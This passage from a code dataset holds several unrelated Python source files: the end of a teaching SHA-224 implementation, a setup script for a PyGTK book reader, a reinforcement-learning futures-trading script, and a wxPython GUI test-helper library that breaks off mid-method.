Splits the padded message into 512-bit blocks\n for i in range(nblocks):\n start = int(i * self.block_size / 8)\n end = int((i + 1) * self.block_size / 8)\n blocks.append( padded_message_bytes[start : end])\n\n if (verbose > 1): print('[SHA-224] Preprocessing Complete')\n return blocks\n\n\n def __hash__(self, blocks):\n \"\"\"\n The main hash routine. Accepts the blocks generated from the preprocessing\n routing and computes the SHA-224 hash.\n \"\"\"\n verbose = self.verbose\n N = len(blocks)\n\n if (verbose > 1):\n print('[SHA-224] Initializing State Variables H0-H7')\n print('[SHA-224] H[%2d] = %10s %10s %10s %10s %10s %10s %10s %10s'%(\n 0, '0x' + self.H[0].to_bytes(4, 'big').hex(), '0x' + self.H[1].to_bytes(4, 'big').hex(), \n '0x' + self.H[2].to_bytes(4, 'big').hex(), '0x' + self.H[3].to_bytes(4, 'big').hex(), \n '0x' + self.H[4].to_bytes(4, 'big').hex(), '0x' + self.H[5].to_bytes(4, 'big').hex(), \n '0x' + self.H[6].to_bytes(4, 'big').hex(), '0x' + self.H[7].to_bytes(4, 'big').hex()\n ))\n\n # The algorithm must go through every block, so that a change in any bit\n # changes the hash function output.\n for i in range(N):\n \n if (verbose > 2):\n print('[SHA-224] Iterating through Block %d'%(i))\n\n # Parse the current block\n block = blocks[i]\n\n\n if (verbose > 3):\n print('[SHA-224] Preparing Message Schedule')\n\n W = []\n\n # Prepare the message schedule W. The message schedule for SHA-224 consists \n # of 64 32-bit integers. The first 16 integers are generated from the block\n # itself, since the block is exactly 512 bits (32 x 16 = 512). Note that this\n # results in a different schedule for each block.\n\n for j in range(0, 16, 1):\n start = int(self.word_size * j / 8)\n end = int(self.word_size * (j + 1) / 8)\n word = block[start : end]\n word = int.from_bytes(word, byteorder='big')\n W.append(word)\n\n if (verbose > 2):\n print('[SHA-224] W[%2d]=%10s'%(j, '0x' + word.to_bytes(4, 'big').hex()))\n\n # The last 48 integers in the message schedule are generated iteratively\n # from the first 16. For each new member j of W, it adds W[j-7], W[j-16],\n # and applies two custom functions sigma0 and sigma1 to W[j-2] and W[j-15]. The\n # specific definitions of these are located in the official specification and\n # reproduced below \n\n for j in range(16, 64, 1):\n part1 = self.__sigma1__(W[j-2])\n part2 = self.__sigma0__(W[j-15])\n part3 = W[j-16]\n part4 = W[j-7]\n\n sum = self.__bitwise_add__(part1, part2)\n sum = self.__bitwise_add__(sum, part3)\n sum = self.__bitwise_add__(sum, part4)\n W.append(sum)\n\n if (verbose > 2):\n print('[SHA-224] W[%2d]=%10s \\\n <- σ0(W[%2d]) + σ1(W[%2d]) + W[%2d] + W[%2d]' \\\n %(j, '0x' + sum.to_bytes(4, 'big').hex(), j-15, j-2, j-7, j-16))\n \n if (verbose > 2):\n print('[SHA-224] Finished Preparing Message Schedule')\n print('[SHA-224] Initializing Local Working Variables')\n\n # Initialize local state variables\n a = self.H[0]\n b = self.H[1]\n c = self.H[2]\n d = self.H[3]\n e = self.H[4]\n f = self.H[5]\n g = self.H[6]\n h = self.H[7]\n\n if (verbose > 3):\n print('[SHA-224] a=%10s b=%10s c=%10s d=%10s e=%10s f=%10s g=%10s h=%10s'%(\n '0x' + a.to_bytes(4, 'big').hex(), '0x' + b.to_bytes(4, 'big').hex(), \n '0x' + c.to_bytes(4, 'big').hex(), '0x' + d.to_bytes(4, 'big').hex(), \n '0x' + e.to_bytes(4, 'big').hex(), '0x' + f.to_bytes(4, 'big').hex(), \n '0x' + g.to_bytes(4, 'big').hex(), '0x' + h.to_bytes(4, 'big').hex()\n ))\n\n # At the current iteration, the SHA-224 state variables H0-H7 are read and stored with\n # 8 working variables. Within each block iteration, we iterate through the schedule\n # variables (which are different for each block). Note that in this section, we always\n # use the bitwise addition function.\n\n for t in range(64):\n\n # The variables T1 and T2 are computed first. The computation is documented in\n # the official specification. Observe that T1 uses both the t-th schedule\n # variable and the $t-th constant. The Ch function is a choice function. It uses\n # one word, and at each location picks the value from one of the other two words\n # depending on whether the first word has a '1' or '0'.\n T1 = 0\n T1 = self.__bitwise_add__(T1, self.__Sigma1__(e))\n T1 = self.__bitwise_add__(T1, self.__Ch__(e, f, g))\n T1 = self.__bitwise_add__(T1, self.K[t])\n T1 = self.__bitwise_add__(T1, W[t])\n T1 = self.__bitwise_add__(T1, h)\n\n # The Maj function takes 3 words and for each location returns the most\n # common bit. For example, if in the first bit positions of a, b, c, d,\n # a = 1, b = 0, and c = 1, the return value is 1 in that location, because\n # there are 2 '1's and only 1 '0'.\n T2 = self.__bitwise_add__(self.__Maj__(a, b, c), self.__Sigma0__(a))\n\n if (verbose > 4):\n print('[SHA-224] T1 = %10s <- Σ1(e) + Ch(e,f,g) + K[%2d] + W[%2d]'%('0x' + T1.to_bytes(4, 'big').hex(), t, t))\n print('[SHA-224] T2 = %10s <- Σ0(a) + Maj(a,b,c)'%('0x' + T2.to_bytes(4, 'big').hex()))\n\n\n # This effectively discards the last working variable, because\n # no other working variable is assigned the value of h. Also,\n # note that with a few exceptions, \n h = g\n g = f\n f = e\n \n e = self.__bitwise_add__(d, T1)\n \n d = c\n c = b\n b = a\n\n a = self.__bitwise_add__(T1, T2)\n\n if (verbose > 4):\n print('[SHA-224] h = %10s <- g'%('0x' + h.to_bytes(4, 'big').hex()))\n print('[SHA-224] g = %10s <- f'%('0x' + g.to_bytes(4, 'big').hex()))\n print('[SHA-224] f = %10s <- e'%('0x' + f.to_bytes(4, 'big').hex()))\n print('[SHA-224] e = %10s <- d + T1'%('0x' + e.to_bytes(4, 'big').hex()))\n print('[SHA-224] d = %10s <- c'%('0x' + d.to_bytes(4, 'big').hex()))\n print('[SHA-224] c = %10s <- b'%('0x' + c.to_bytes(4, 'big').hex()))\n print('[SHA-224] b = %10s <- a'%('0x' + b.to_bytes(4, 'big').hex()))\n print('[SHA-224] a = %10s <- T1 + T2'%('0x' + a.to_bytes(4, 'big').hex()))\n\n if (verbose > 3):\n print('[SHA-224] a=%10s b=%10s c=%10s d=%10s e=%10s f=%10s g=%10s h=%10s'%(\n '0x' + a.to_bytes(4, 'big').hex(), '0x' + b.to_bytes(4, 'big').hex(), \n '0x' + c.to_bytes(4, 'big').hex(), '0x' + d.to_bytes(4, 'big').hex(), \n '0x' + e.to_bytes(4, 'big').hex(), '0x' + f.to_bytes(4, 'big').hex(), \n '0x' + g.to_bytes(4, 'big').hex(), '0x' + h.to_bytes(4, 'big').hex()\n ))\n\n # Update the state variables for the next iteration.\n self.H[0] = self.__bitwise_add__(self.H[0], a)\n self.H[1] = self.__bitwise_add__(self.H[1], b)\n self.H[2] = self.__bitwise_add__(self.H[2], c)\n self.H[3] = self.__bitwise_add__(self.H[3], d)\n self.H[4] = self.__bitwise_add__(self.H[4], e)\n self.H[5] = self.__bitwise_add__(self.H[5], f)\n self.H[6] = self.__bitwise_add__(self.H[6], g)\n self.H[7] = self.__bitwise_add__(self.H[7], h)\n\n if (verbose > 1):\n print('[SHA-224] H[%2d] = %10s %10s %10s %10s %10s %10s %10s %10s'%(\n i+1, '0x' + self.H[0].to_bytes(4, 'big').hex(), '0x' + self.H[1].to_bytes(4, 'big').hex(), \n '0x' + self.H[2].to_bytes(4, 'big').hex(), '0x' + self.H[3].to_bytes(4, 'big').hex(), \n '0x' + self.H[4].to_bytes(4, 'big').hex(), '0x' + self.H[5].to_bytes(4, 'big').hex(), \n '0x' + self.H[6].to_bytes(4, 'big').hex(), '0x' + self.H[7].to_bytes(4, 'big').hex()\n ))\n\n # At the end of the computation, the output hash value is just self.H,\n # which we updated iteratively. In SHA-224, we truncate the output to only\n # the first 224 bits. Otherwise, the computation process for SHA-224 and SHA-256 are\n # the same.\n output = [item.to_bytes(4, 'big').hex() for item in self.H][0:-1]\n self.H = self.H0\n hash_value = ''.join(output)\n\n if (verbose > 0):\n print('[SHA-224] Output Hash: %64s'%(hash_value))\n\n return hash_value\n\n # Define functions specifically needed for SHA256 operations\n def __Ch__(self, x, y, z):\n return (x & y) ^ (~x & z)\n\n def __Maj__(self, x, y, z):\n return (x & y) ^ (y & z) ^ (x & z)\n \n def __Sigma0__(self, x):\n return self.__rot_right__(x, 2) ^ self.__rot_right__(x, 13) ^ self.__rot_right__(x, 22)\n\n def __Sigma1__(self, x):\n return self.__rot_right__(x, 6) ^ self.__rot_right__(x, 11) ^ self.__rot_right__(x, 25)\n\n def __sigma0__(self, x):\n return self.__rot_right__(x, 7) ^ self.__rot_right__(x, 18) ^ self.__right_shift__(x, 3)\n\n def __sigma1__(self, x):\n return self.__rot_right__(x, 17) ^ self.__rot_right__(x, 19) ^ self.__right_shift__(x, 10)","sub_path":"pySHA/sha224.py","file_name":"sha224.py","file_ext":"py","file_size_in_byte":15453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"440431225","text":"#!/usr/bin/env python\n# -*- mode: python; coding: koi8-r -*-\n\n\nimport sys\nimport os\nfrom distutils.core import setup, Extension\nfrom distutils.command.install_data import install_data\n\nfrom odinbookreader.config import program_version\n\nif '--enable-fb2' in sys.argv:\n sys.argv.remove('--enable-fb2')\n BUILD_FB2_SUPPORT = 1\nelif '--disable-fb2' in sys.argv:\n sys.argv.remove('--disable-fb2')\n BUILD_FB2_SUPPORT = 0\nelse:\n BUILD_FB2_SUPPORT = 1\n\nclass my_install_data(install_data):\n # for install data files to library dir\n def run(self):\n #need to change self.install_dir to the actual library dir\n install_cmd = self.get_finalized_command('install')\n self.install_dir = getattr(install_cmd, 'install_lib')\n return install_data.run(self)\n\next_modules = []\n\n## build FictionBook2 support\nif BUILD_FB2_SUPPORT:\n xml2_libs = os.popen('xml2-config --libs', 'r').read().split()\n xml2_cflags = os.popen('xml2-config --cflags', 'r').read().split()\n ext = Extension('odinbookreader.fb2wrap',\n ['odinbookreader/fb2parser.c',\n 'odinbookreader/fb2parser_wrap.c'],\n extra_compile_args = xml2_cflags,\n extra_link_args = xml2_libs,\n )\n ext_modules.append(ext)\n\nsetup(\n name = 'odin',\n version = program_version,\n url = 'http://odin.sourceforge.net',\n author = 'matimatik',\n author_email = 'matimatik@lavabit.com',\n description = 'Odin is a PyGTK-based GUI book reader.',\n license = 'GPL',\n scripts = ['odin',],\n packages = ['odinbookreader', ],\n ext_modules = ext_modules,\n cmdclass = {'install_data': my_install_data},\n data_files = [('odinbookreader',\n ['odinbookreader/odinbookreader.glade']), ]\n )\n\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"426481207","text":"import csv\r\nimport numpy as np\r\nimport math\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n# Load Data\r\nwith open('ltrain.csv') as csvfile:\r\n trainData = csv.reader(csvfile, delimiter=',')\r\n priceList = []\r\n for row in trainData:\r\n priceList.append(float(row[1]))\r\n\r\n# Calculate the increment series\r\ndef increment(list):\r\n increList = []\r\n lengthList = len(list)\r\n increList.append(0)\r\n for i in range(1, lengthList):\r\n increList.append(list[i] - list[i-1])\r\n return increList\r\n\r\n# increList = increment(priceList)\r\nincreList = [x * 5 for x in increment(priceList)]\r\n# print(increList)\r\n\r\n# Calculate increment vector of length n\r\ndef incVector(length, index, list):\r\n incVector = list[index - length + 1: index + 1]\r\n return incVector\r\n\r\nn = len(priceList)\r\n# Set the length of increment series we want to use\r\n# length = 10\r\n\r\n# Calculate the value of position\r\n# Formal parameter list here is (1, increVector)\r\ndef position(list, weight, prepos):\r\n weightList = np.append([1], np.append(np.array(list), [prepos]))\r\n weightList = weightList.reshape([len(list)+2, 1])\r\n pos = np.dot(weight, weightList)\r\n return np.tanh(pos), weightList\r\n\r\n# Set the initial weight\r\n# weight = 0.1 * np.ones([1, length+2])\r\n\r\n# Calculate the positions vector\r\ndef posVector(wt, length):\r\n posVec = np.zeros([1, n])\r\n for i in range(length, n):\r\n posList = incVector(length, i, increList)\r\n prepos = posVec[0][i-1]\r\n pos, wl = position(posList, wt, prepos)\r\n # Restriction to control trading times:\r\n # Hold position for at least 5 bars\r\n if posVec[0][i-1] - posVec[0][i-2] == 0 and \\\r\n posVec[0][i-2] - posVec[0][i-3] == 0 and \\\r\n posVec[0][i-3] - posVec[0][i-4] == 0 and \\\r\n posVec[0][i-4] - posVec[0][i-5] == 0 and \\\r\n posVec[0][i-5] - posVec[0][i-6] == 0:\r\n holdEnough = 1\r\n else:\r\n holdEnough = 0\r\n # Time Control, Trading Period ;9:30 A.M - 2:30 P.M\r\n if (i+1) % 225 <= 30 or (i+1) % 225 >= 195:\r\n posVec[0][i] == 0\r\n # 0.9 is also a parameter, served as the signal significance\r\n elif abs(pos) > 0.9 and holdEnough == 1:\r\n posVec[0][i] = np.sign(pos)\r\n else:\r\n posVec[0][i] = posVec[0][i-1]\r\n return posVec\r\n\r\n# Calculate the sum of return\r\ndef sumReturn(pos, inc):\r\n sr = np.zeros([1, n])\r\n srsquire = np.zeros([1, n])\r\n srtotal = np.zeros([1, n])\r\n tt = 0\r\n for i in range(1, n):\r\n sr[0][i] = (pos[0][i-1] * inc[i] - com * abs(pos[0][i] - pos[0][i-1]))\r\n # Loss limit control: cover position when sum loss in 5 bar exceeds 200\r\n # This is also a parameter\r\n if (sr[0][i] + sr[0][i-1] + sr[0][i-1]) < -150:\r\n pos[0][i+1:i+5] = 0\r\n tt += 0.5 * abs(pos[0][i] - pos[0][i-1])\r\n srsquire[0][i] = sr[0][i] ** 2\r\n srtotal[0][i] = sr.sum()\r\n sumsr = sr.sum()\r\n sumsrsq = srsquire.sum()\r\n # print(sr)\r\n return sumsr, sumsrsq, srtotal, tt\r\n\r\n# Calculate the sharp ratio\r\ndef sharpRatio(weight, length,posVec):\r\n sumsr, sumsrsq, total, tt = sumReturn(posVec, increList)\r\n A = sumsr / n\r\n B = sumsrsq / n\r\n sharpRatio = A / math.sqrt(B - (A**2))\r\n return sharpRatio, float(A), float(B)\r\n\r\n\r\n# Calculate the gradient of position vector\r\ndef posGradient(weight, length,posVec):\r\n posVec = posVector(weight, length)\r\n posGrad = np.zeros([n, length+2])\r\n for i in range(length, n):\r\n posList = incVector(length, i, increList)\r\n prepos = posVec[0][i-1]\r\n pos, wl = position(posList, weight, prepos)\r\n # print(np.shape(posGrad[i-1, ]))\r\n posGrad[i, ] = (1 - pos ** 2) * (wl.transpose() + posGrad[i-1, ] * weight[0, length+1])\r\n return posGrad\r\n\r\n# Calculate the gradient of Sharp Ratio\r\ndef sharpGradient(weight, length, posVec):\r\n pGrad = posGradient(weight, length,posVec)\r\n sRatio, A, B = sharpRatio(weight, length,posVec)\r\n dST_dA = (B - A**2) ** (-0.5) + (A ** 2) * (B - A**2) ** (-1.5)\r\n dST_dB = (-0.5) * A * ((B - A**2) ** (-1.5))\r\n dA_dRi = float(1 / n)\r\n sharpGrad = np.zeros([n, length+2])\r\n for i in range(length, n):\r\n dB_dRi = 2 * dA_dRi * increList[i]\r\n dRt_dFt = - com * np.sign(posVec[0, i] - posVec[0, i-1])\r\n dRt_dFpret = (increList[i] + com * np.sign(posVec[0, i] - posVec[0, i-1]))\r\n sharpGrad[i, ] = (dST_dA * dA_dRi + dST_dB * dB_dRi) * \\\r\n (dRt_dFt * pGrad[i, ] + dRt_dFpret * pGrad[i-1, ])\r\n sGrad = sharpGrad.sum(axis=0)\r\n return sGrad\r\n\r\n\r\ndef learning(length, step):\r\n coef = float(input(\"Please enter the initial weight coefficient (0.01-1.00): \"))\r\n speed = float(input(\"Please enter the learning Speed (0.1-5.0): \"))\r\n weight = coef * np.ones([1, length+2])\r\n for i in range(1, step+1):\r\n posVec = posVector(weight, length)\r\n spratio, a, b = sharpRatio(weight, length, posVec)\r\n # if spratio >= 0.15 and i >= 300:\r\n # break\r\n #if i % 10 == 0:\r\n print(\"Reinforcement Learning {0} th step, Sharp Ratio: {1}\".format(i, spratio))\r\n spGrad = sharpGradient(weight, length, posVec)\r\n weight += max(0.01, speed * (0.99 ** i)) * spGrad\r\n return weight\r\n# The weight returned is a new one updated in the last step\r\n# So the sharp ratio is not the same as showed\r\n\r\ncom = 3 # Default Commission Rate\r\n# This is actually larger because here we charged twice for a complete transaction\r\n# in both building position and covering position\r\n#weight = learning(14, 10) # Example: train with 14 bars and 10 steps\r\n#tradeSig = posVector(weight, 14)\r\n#sumsr, sumsrsq, total, tt = sumReturn(tradeSig, increList)\r\n#plt.plot(tradeSig.transpose())\r\n#plt.ylabel('Trading Signal')\r\n#plt.show()\r\n#print(\"Total Return: \", total[0][-1])\r\n#print(\"Trading Times: \", tt)\r\n#plt.plot(total.transpose())\r\n#plt.xlabel('Date')\r\n#plt.ylabel('Total Return')\r\n#plt.title('L')\r\n#plt.show()\r\n\r\n\r\n","sub_path":"rrl2_futures.py","file_name":"rrl2_futures.py","file_ext":"py","file_size_in_byte":6028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"195884390","text":"\"\"\"Define actions for core wxWidgets' controls.\n\"\"\"\n\nimport wx\nfrom wxatf.wxactions import helper\n\n\nclass TMenu(object):\n '''Test wxMenu\n Methods:\n click_item: emit event wxEVT_MENU\n '''\n\n @staticmethod\n def _find_item_by_labels(menu, labels):\n label = labels.pop(0)\n items = menu.GetMenuItems()\n for item in items:\n if helper.str_match_wildcard(item.GetItemLabelText(), label):\n menu_item = item\n if len(labels) > 0 and menu_item.IsSubMenu():\n menu_item = TMenu._find_item_by_labels(menu_item.GetSubMenu(), labels)\n return menu_item\n return None\n\n @staticmethod\n def click_item(menu, *labels):\n menu_item = TMenu._find_item_by_labels(menu, list(labels))\n if menu_item and menu_item.IsEnabled(): \n item_type = item_type = menu_item.GetKind()\n event_type = wx.wxEVT_COMMAND_MENU_SELECTED\n event = wx.CommandEvent(event_type, menu_item.GetId())\n #update check state for checkbox or raido item\n if item_type == wx.ITEM_CHECK:\n event.SetInt(not menu_item.IsChecked())\n menu_item.Check(not menu_item.IsChecked())\n elif item_type == wx.ITEM_RADIO:\n event.SetInt(1)\n menu_item.Check(True)\n menu.GetInvokingWindow().AddPendingEvent(event)\n\nclass TButton(object):\n \"\"\"Test wxButton\n Methods:\n click: emit event wxEVT_COMMAND_BUTTON_CLICKED\n \"\"\"\n\n @staticmethod\n def click(button):\n \"\"\"Test event wxEVT_COMMAND_BUTTON_CLICKED\n \"\"\"\n if not button.IsEnabled():\n raise RuntimeError(\"Can't click a disable button.\")\n event = wx.CommandEvent(wx.wxEVT_COMMAND_BUTTON_CLICKED, button.GetId())\n event.SetEventObject(button)\n helper.post_event(button, event)\n\n\nclass TRadioBox(object):\n \"\"\"Test wxRadioBox\n Methods:\n set_selection_by_pos: emit event wxEVT_COMMAND_RADIOBOX_SELECTED\n \"\"\"\n\n @staticmethod\n def set_selection_by_pos(radiobox, item):\n \"\"\"Test event wxEVT_COMMAND_RADIOBOX_SELECTED\n Args:\n item: a integer value\n \"\"\"\n radiobox.SetSelection(item)\n event = wx.CommandEvent(wx.wxEVT_COMMAND_RADIOBOX_SELECTED,\n radiobox.GetId())\n event.SetEventObject(radiobox)\n event.SetInt(item)\n helper.post_event(radiobox, event)\n\n @staticmethod\n def set_selection_by_label(radiobox, str_label):\n \"\"\"Test event wxEVT_COMMAND_RADIOBOX_SELECTED by label\n Args:\n str_label: an item's string label that want to be selected\n \"\"\"\n for pos in xrange(radiobox.GetCount()):\n if helper.str_match_wildcard(radiobox.GetString(pos).strip(), str_label):\n radiobox.set_selection_by_pos(pos)\n return\n\n\nclass TCheckBox(object):\n \"\"\"Test wxCheckBox\n Methods:\n check: emit event wxEVT_COMMAND_CHECKBOX_CLICKED\n set_value: emit event wxEVT_COMMAND_CHECKBOX_CLICKED\n \"\"\"\n\n @staticmethod\n def check(box, b_checked):\n \"\"\"Test event wxEVT_COMMAND_CHECKBOX_CLICKED\n Args:\n b_checked: a boolean value\n \"\"\"\n box.SetValue(b_checked)\n check_evt = wx.CommandEvent(wx.wxEVT_COMMAND_CHECKBOX_CLICKED,\n box.GetId())\n check_evt.SetInt(b_checked)\n helper.post_event(box, check_evt)\n\n @staticmethod\n def check_by_label(label, flag):\n \"\"\"\n Test event wxEVT_COMMAND_CHECKBOX_CLICKED\n Args:\n label: a string value\n flag: a boolean value\n \"\"\"\n checkbox = wx.FindWindowByLabel(label)\n if not checkbox.IsEnabled():\n raise RuntimeError(\"Can't check a disable CheckBox.\")\n checkbox.SetValue(flag)\n event = wx.CommandEvent(wx.wxEVT_COMMAND_CHECKBOX_CLICKED,\n checkbox.GetId())\n event.SetInt(flag)\n helper.post_event(checkbox, event)\n\n\nclass TTextCtrl(object):\n \"\"\"Test wxTextCtrl\n Methods:\n set_value: emit event wxEVT_COMMAND_TEXT_UPDATED\n \"\"\"\n\n @staticmethod\n def set_value(txt, value):\n \"\"\"Test event wxEVT_COMMAND_TEXT_UPDATED\n Args:\n value: a string value\n \"\"\"\n txt.SetValue(value)\n event = wx.CommandEvent(wx.wxEVT_COMMAND_TEXT_UPDATED, txt.GetId())\n helper.post_event(txt, event)\n\n\nclass TWindow(object):\n \"\"\" Test wxWindow\n Methods:\n close: emit event wxEVT_CLOSE_WINDOW\n send_kill_focus_evt: emit event wxEVT_KILL_FOCUS\n send_key_enter_evt: emit event wxEVT_COMMAND_TEXT_ENTER\n double_click: emit event wxEVT_LEFT_DCLICK\n \"\"\"\n\n @staticmethod\n def close(win):\n \"\"\"Test event wxEVT_CLOSE_WINDOW\n \"\"\"\n event = wx.CloseEvent(wx.wxEVT_CLOSE_WINDOW, win.GetId())\n helper.post_event(win, event)\n\n @staticmethod\n def send_kill_focus_evt(win):\n \"\"\"Test event wxEVT_KILL_FOCUS\n \"\"\"\n event = wx.FocusEvent(wx.wxEVT_KILL_FOCUS, win.GetId())\n event.SetWindow(win)\n helper.post_event(win, event)\n\n @staticmethod\n def send_key_enter_evt(win):\n \"\"\"Test event wxEVT_COMMAND_TEXT_ENTER\n \"\"\"\n evt = wx.CommandEvent(wx.wxEVT_COMMAND_TEXT_ENTER, win.GetId())\n helper.post_event(win, evt)\n\n @staticmethod\n def double_click(win):\n \"\"\"Test event wxEVT_LEFT_DCLICK\n \"\"\"\n evt = wx.MouseEvent(wx.wxEVT_LEFT_DCLICK)\n evt.SetId(win.GetId())\n helper.post_event(win, evt)\n\n @staticmethod\n def is_busy(win):\n \"\"\"return whether is busy\n \"\"\"\n return (not win.IsEnabled()) or wx.IsBusy()\n\n\nclass TComboBox(object):\n \"\"\" Test wxComboBox\n Methods:\n set_value: emit event wxEVT_COMMAND_COMBOBOX_SELECTED\n and wxEVT_COMMAND_TEXT_UPDATED\n \"\"\"\n\n @staticmethod\n def set_value(combobox, value):\n \"\"\"Test event: wxEVT_COMMAND_COMBOBOX_SELECTED,\n wxEVT_COMMAND_TEXT_UPDATED\n Args:\n value: a string value\n \"\"\"\n sel_evt = wx.CommandEvent(wx.wxEVT_COMMAND_COMBOBOX_SELECTED,\n combobox.GetId())\n index = combobox.FindString(value)\n if index == wx.NOT_FOUND:\n combobox.SetValue(value)\n else:\n combobox.SetSelection(index)\n sel_evt.SetInt(index)\n sel_evt.SetString(value)\n helper.post_event(combobox, sel_evt)\n txt_evt = wx.CommandEvent(wx.wxEVT_COMMAND_TEXT_UPDATED,\n combobox.GetId())\n helper.post_event(combobox, txt_evt)\n\n\nclass TRadioButton(object):\n \"\"\"Test RadioButton\n Methods:\n set_value: emit event wxEVT_COMMAND_RADIOBUTTON_SELECTED\n \"\"\"\n\n ### Not tested\n @staticmethod\n def set_value(radiobutton, b_selected):\n \"\"\"Test event wxEVT_COMMAND_RADIOBUTTON_SELECTED\n Args:\n b_selected: a boolean value\n \"\"\"\n radiobutton.SetValue(b_selected)\n radiobutton_evt = wx.CommandEvent(wx.wxEVT_COMMAND_RADIOBUTTON_SELECTED,\n radiobutton.GetId())\n helper.post_event(radiobutton, radiobutton_evt)\n\n\nclass TControl(object):\n \"\"\"Test wxControl(wxComboBox, wxChoice)\n Methods:\n set_choice_pos: emit event: wxEVT_COMMAND_COMBOBOX_SELECTED\n or wxEVT_COMMAND_CHOICE_SELECTED\n \"\"\"\n\n @staticmethod\n def set_choice_pos(choicectrl, pos):\n \"\"\"Set wxControl's choice by a given position\n If choicectrl is a instance of wxComboBox,\n emit event wxEVT_COMMAND_COMBOBOX_SELECTED\n else\n emit event wxEVT_COMMAND_CHOICE_SELECTED\n Args:\n pos: a integer value for position\n \"\"\"\n assert pos != wx.NOT_FOUND\n if isinstance(choicectrl, wx.ComboBox):\n assert pos >= 0 and pos < choicectrl.GetCount()\n choicectrl.Select(pos)\n sel_evt = wx.CommandEvent(wx.EVT_COMBOBOX.typeId,\n choicectrl.GetId())\n sel_evt.SetInt(pos)\n helper.post_event(choicectrl, sel_evt)\n txt_evt = wx.CommandEvent(wx.wxEVT_COMMAND_COMBOBOX_SELECTED,\n choicectrl.GetId())\n helper.post_event(choicectrl, txt_evt)\n elif isinstance(choicectrl, wx.Choice):\n assert pos >= 0 and pos < choicectrl.GetCount()\n choicectrl.Select(pos)\n evt = wx.CommandEvent(wx.wxEVT_COMMAND_CHOICE_SELECTED,\n choicectrl.GetId())\n evt.SetInt(pos)\n helper.post_event(choicectrl, evt)\n\n\nclass TToggleButton(object):\n \"\"\"Test wxToggleButton\n Methods:\n click: emit event wxEVT_COMMAND_TOGGLEBUTTON_CLICKED\n \"\"\"\n\n @staticmethod\n def click(tgbutton):\n \"\"\"Test event wxEVT_COMMAND_TOGGLEBUTTON_CLICKED\n \"\"\"\n assert tgbutton.IsEnabled()\n val = tgbutton.GetValue()\n tgbutton.SetValue(not val)\n evt = wx.CommandEvent(wx.wxEVT_COMMAND_TOGGLEBUTTON_CLICKED,\n tgbutton.GetId())\n evt.SetInt(tgbutton.GetValue())\n helper.post_event(tgbutton, evt)\n\n\nclass TSlider(object):\n \"\"\"Test wxSlider\n Methods:\n set_slider_value: emit event wxEVT_SCROLL_CHANGED\n \"\"\"\n\n @staticmethod\n def set_slider_value(slider, value):\n \"\"\"Test event wxEVT_SCROLL_CHANGED\n Args:\n value: a integer value\n \"\"\"\n slider.SetValue(value)\n evt = wx.CommandEvent(wx.wxEVT_SCROLL_CHANGED, slider.GetId())\n helper.post_event(slider, evt)\n\n\nclass THyperlinkCtrl(object):\n \"\"\"Test wxHyperlinkCtrl\n Methods:\n click: emit event wxEVT_COMMAND_HYPERLINK\n \"\"\"\n\n @staticmethod\n def click(hlctrl):\n \"\"\"Test event wxEVT_COMMAND_HYPERLINK\n \"\"\"\n evt = wx.CommandEvent(wx.wxEVT_COMMAND_HYPERLINK, hlctrl.GetId())\n helper.post_event(hlctrl, evt)\n\n\nclass TCheckListBox(object):\n \"\"\"Test wxCheckListBox\n Methods:\n toggle_item_by_pos: emit event wxEVT_COMMAND_CHECKLISTBOX_TOGGLED\n \"\"\"\n\n @staticmethod\n def check_by_pos(clb, index, check):\n \"\"\"Test event wxEVT_COMMAND_CHECKLISTBOX_TOGGLED\n Args:\n index: index of item to be checked or unchecked\n check: boolean value\n \"\"\"\n assert index >= 0 and index <= clb.GetCount()\n clb.DeselectAll()\n clb.SetSelection(index, True)\n clb.Check(index, check)\n evt = wx.CommandEvent(wx.wxEVT_COMMAND_CHECKLISTBOX_TOGGLED,\n clb.GetId())\n evt.SetInt(index)\n evt.SetEventObject(clb)\n helper.post_event(clb, evt)\n\n\nclass TListCtrl(object):\n \"\"\"Test wxListCtrl\n Methods:\n right_click_an_item_by_label: emit wxEVT_COMMAND_LIST_ITEM_RIGHT_CLICK\n right_click_an_item_by_label_with_ctrl: emit wxEVT_COMMAND_LIST_ITEM_RIGHT_CLICK\n activate_an_item: emit wxEVT_COMMAND_LIST_ITEM_ACTIVATED\n click_col_header_by_pos: emit wxEVT_COMMAND_LIST_COL_CLICK\n \"\"\"\n\n @staticmethod\n def _get_col_num(listctrl, str_col_name):\n \"\"\"Get index of column by column header\n \"\"\"\n count = listctrl.GetColumnCount()\n for i in range(count):\n item = listctrl.GetColumn(i)\n if helper.str_match_wildcard(item.GetText(), str_col_name):\n return i\n return -1\n\n @staticmethod\n def _find_item(listctrl, i_col, str_cell_value):\n \"\"\"Find item index by the value of specic column\n \"\"\"\n for item_index in range(listctrl.GetItemCount()):\n item_col_data = listctrl.GetItem(item_index, i_col)\n if helper.str_match_wildcard(item_col_data.GetText(), str_cell_value):\n return item_index\n\n @staticmethod\n def _get_item(listctrl, col_label, label):\n \"\"\"Find item by a given column value, set it selected and return index\n \"\"\"\n n_col = TListCtrl._get_col_num(listctrl, col_label)\n assert n_col != -1\n index = TListCtrl._find_item(listctrl, n_col, label)\n assert index != -1\n listctrl.EnsureVisible(index)\n listctrl.SetItemState(index,\n wx.LIST_STATE_SELECTED,\n wx.LIST_STATE_SELECTED)\n return index\n\n @staticmethod\n def _select_an_item_by_pos(listctrl, index):\n \"\"\"Set item state SELECTED by a given index\n \"\"\"\n assert index >= 0 and index < listctrl.GetItemCount()\n listctrl.EnsureVisible(index)\n listctrl.SetItemState(index,\n wx.LIST_STATE_SELECTED,\n wx.LIST_STATE_SELECTED)\n\n @staticmethod\n def _unselect_an_item_by_pos(listctrl, index):\n \"\"\"Set item state UNSELECTED by a given index\n \"\"\"\n assert index >= 0 and index < listctrl.GetItemCount()\n listctrl.SetItemState(index, 0, wx.LIST_STATE_SELECTED)\n\n @staticmethod\n def _unselect_all(listctrl):\n \"\"\"Set all item state UNSELECTED\n \"\"\"\n count = listctrl.GetItemCount()\n for index in range(count):\n TListCtrl._unselect_an_item_by_pos(listctrl, index)\n\n @staticmethod\n def _post_event(listctrl, index, evt_type):\n \"\"\"Post event emitted by listctrl\n \"\"\"\n evt = wx.ListEvent()\n evt.m_itemIndex = index\n 